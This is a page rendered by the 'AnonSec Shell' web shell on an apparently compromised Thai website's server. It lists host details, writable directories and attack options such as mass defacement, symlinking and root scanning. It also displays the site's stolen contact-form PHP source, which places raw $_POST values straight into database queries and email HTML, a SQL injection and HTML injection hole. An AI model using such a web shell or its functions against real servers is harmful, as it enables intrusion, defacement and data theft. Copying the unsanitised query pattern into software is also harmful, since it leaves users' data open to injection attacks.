AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/include/ajax_contact.php
<?php
include('../include72/class.php');
include("../include/mail.php");


/*echo '<pre>';
print_r($_POST);
echo '</pre>';*/

$mess = '<br><br><br>   คุณ ' . $_POST['name'] .'<br>'.
		'เบอร์ติดต่อกลับ : ' .$_POST['phone'].'<br>'.
		'อีเมล : ' .$_POST['email'].'<br><br>'.
		$_POST['message'].'<br><br>';


/*$list = array(	
		'table'=>'email',
		'id_shop'=>"'".$_POST['shop']."'",
		'title'=>"'".$_POST["title"]."'",
		'detail'=>"'".$mess."'",
		'status'=>"'1'",
		'createdate'=>"'".$date."'"
		
);	*/	
$list = array(	
		'table'=>'contactus',
		'name'=>"'".$_POST['name']."'",
		'phone'=>"'".$_POST['phone']."'",
		'email'=>"'".$_POST["email"]."'",
		'detail'=>"'".$_POST['message']."'",
		'status'=>"'1'",
		'createdate'=>"'".$date."'"
		
);		  
$add = $actiondata_db->add_db($list);



$body = $mess . $contact;
$body = $body;
		
		//exit;
		$mail->SetFrom($from, $from);
		$mail->AddReplyTo($from, $from);
		$mail->MsgHTML($body);
		$txt = 'SimDed :: ติดต่อเรา';
		$mail->Subject = $txt;
		$mail->addBCC('[email protected]'); // ผู้รับ
		//$mail->addBCC('[email protected]');// ผู้รับ
		
		
		if(!$mail->Send()) 
		{
			//echo "<br> Mailer Error: " . $mail->ErrorInfo;
			//exit();
		}
		else
		{	
		}	



if($add['suc'] == 1)
{
	?>
	 <div class="alert alert-success alert-dismissible" role="alert">
	  <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true" style="font-family:Verdana, Geneva, sans-serif;">&times;</span></button>
	  <strong>Well done!</strong>  &nbsp;  <span> บันทึกข้อมูลเสร็จเรียบร้อย</span>
	</div>
	<?php
}
else
{
	?>
	<div class="alert alert-danger" role="alert">
	  <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true" style="font-family:Verdana, Geneva, sans-serif;">&times;</span></button>
	  <strong>Warning!</strong>  &nbsp;  <span> ระบบมีปัญหากรุณาลองใหม่อีกครั้งค่ะ</span>
	</div>
	<?php
}

?>

Anon7 - 2022
AnonSec Team